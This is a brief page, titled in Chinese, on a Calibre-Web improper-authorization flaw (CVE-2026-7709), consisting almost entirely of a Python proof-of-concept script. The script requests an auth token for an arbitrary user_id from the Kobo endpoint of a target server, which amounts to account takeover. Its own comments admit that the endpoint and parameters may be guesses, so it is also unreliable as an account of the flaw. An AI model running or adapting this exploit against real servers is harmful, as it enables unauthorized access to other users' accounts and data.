CVE-2026-7709 Calibre-Web授权不当漏洞

import requests def exploit(target_ip, target_user_id): """ PoC for CVE-2026-7709 Exploits improper authorization in generate_auth_token by manipulating user_id. """ url = f"http://{target_ip}/kobo/" # Base endpoint for Kobo # Attempt to generate auth token for a different user payload = { "user_id": target_user_id, # Additional parameters might be needed based on the actual endpoint implementation } response = requests.post(url + "auth/generate", data=payload) if response.status_code == 200 and "token" in response.text: print(f"[+] Exploit successful! Token for user {target_user_id} obtained.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status: {response.status_code}") if __name__ == "__main__": exploit("192.168.1.10", "1")